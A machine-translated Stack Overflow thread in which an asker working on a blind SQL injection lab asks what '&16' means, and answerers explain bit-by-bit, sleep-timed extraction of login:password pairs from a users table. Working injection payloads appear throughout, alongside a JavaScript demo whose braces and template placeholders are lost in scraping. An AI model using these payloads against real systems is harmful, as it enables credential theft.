&16 在这个 MySQL 查询中做了啥?
Posted
技术标签:
【中文标题】&16 在这个 MySQL 查询中做了啥?【英文标题】:What is &16 doing in this MySQL query?&16 在这个 MySQL 查询中做了什么? 【发布时间】:2021-12-12 16:05:17 【问题描述】:我有这个mysql查询,唯一看不懂的就是这部分&16
if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)
我正在尝试解决我有盲 SQL 注入的机器:
这是查找登录名和密码的整个有效负载,逐个字符:
hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1
实现 16 值的代码由 2**bit 完成 位值范围为 0 到 7
【问题讨论】:
&
是按位与运算符。 dev.mysql.com/doc/refman/8.0/en/…
这是一个练习还是在实时服务器上?如果是这样,请使用参数化查询并且不要存储纯文本密码
您的日志中是否有类似的查询,其中substring(..., 2, 1)
部分不同?
@SalmanA 是的!当程序找到该字母时,它会移动到下一个字母。例如:假设登录名是 admin。当他找到字母 a 时,他会更改为第二个字母,依此类推。所以它开始:substring(..., 1, 1)
然后substring(..., 2, 1)
,等等。
【参考方案1】:
此人似乎正在尝试检查用户名 + 密码的第二个字母是否属于以下 ascii 字符范围之一:
16 - 31
48 - 63
80 - 95
112 - 127
144 - 159
176 - 191
208 - 223
240 - 255
我相信您会发现对于用户名 + 密码的每个字母、1、2、4、... 128 之间的每个值以及用户表中的每一行都有类似的尝试。
现在,这就是他真正想要做的事情:
您需要 256 次尝试使用蛮力猜测一个字母,即您检查 ascii 代码 0x00 - 0xFF。但是,如果bitwise AND
操作可用,您可以一次检查一位并准确猜出 8 次字母。这是他正在尝试做的 javascript 实现:
// assume this is the character from substring(..., 2, 1)
let substring = String.fromCharCode(Math.random() * 256);
// ...and this holds the ascii value of the character he's guessing
let cracked = 0;
// i represents the values used in the "&" operation
for (let i = 1; i <= 128; i <<= 1)
console.log(`i = $i.toString().padStart(3, " ") (0b$i.toString(2).padStart(8, "0"))`);
if (substring.charCodeAt(0) & i)
// when "&" operation results in a truthy value he spots a 2 second delay
// ...and updates the guessed value
cracked |= i;
console.log(`that substring: $substring`);
console.log(`cracked string: $String.fromCharCode(cracked) ($cracked)`);
【讨论】:
哦,好吧,但为什么它的势能是 2?我正在使用 python,并使用 2**bit 生成这些数字 对不起,我很难理解。 10000000b 是从哪里来的? 好吧,但为什么要使用二进制文件?这是代码在发现第一个字母是 aO, of *admin 之前生成的内容:` injection: hacker' or if((select ascii(substring((select concat(login,':' ,password) 来自用户限制 0,1),1,1))&1),sleep(2),0) 和 '1'='1`injection: hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),1,1))&2),sleep(2),0) and '1'='1
injection: hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),1,1))&4),sleep(2),0) and '1'='1
让我们continue this discussion in chat。【参考方案2】:
它从users
表中的单行中的单个字符中提取单个位。
如果成功,则攻击者知道他们可以查询您的用户和密码。然后他们可以结合许多其他查询从其他字符中提取其他位。一旦他们掌握了所有这些信息,他们就可以在他们的计算机上将这些信息拼凑起来,并重建完整的用户名和密码。
为什么他们会以这种奇怪的方式,一次一点?
因为这样他们不必返回数据来知道它是什么。他们可以一次检查一个位,这会影响它运行的查询的结果。他们检查了:
hacker' or if(...,sleep(2),0)
如果位为 1,这将导致查询延迟 2 秒,如果位为 0,则不会延迟。他们可以对结果进行计时,从而知道是否设置了特定位。一旦他们对所有位执行此操作,他们就知道完整的字符串。
【讨论】:
以上是关于&16 在这个 MySQL 查询中做了啥?的主要内容,如果未能解决你的问题,请参考以下文章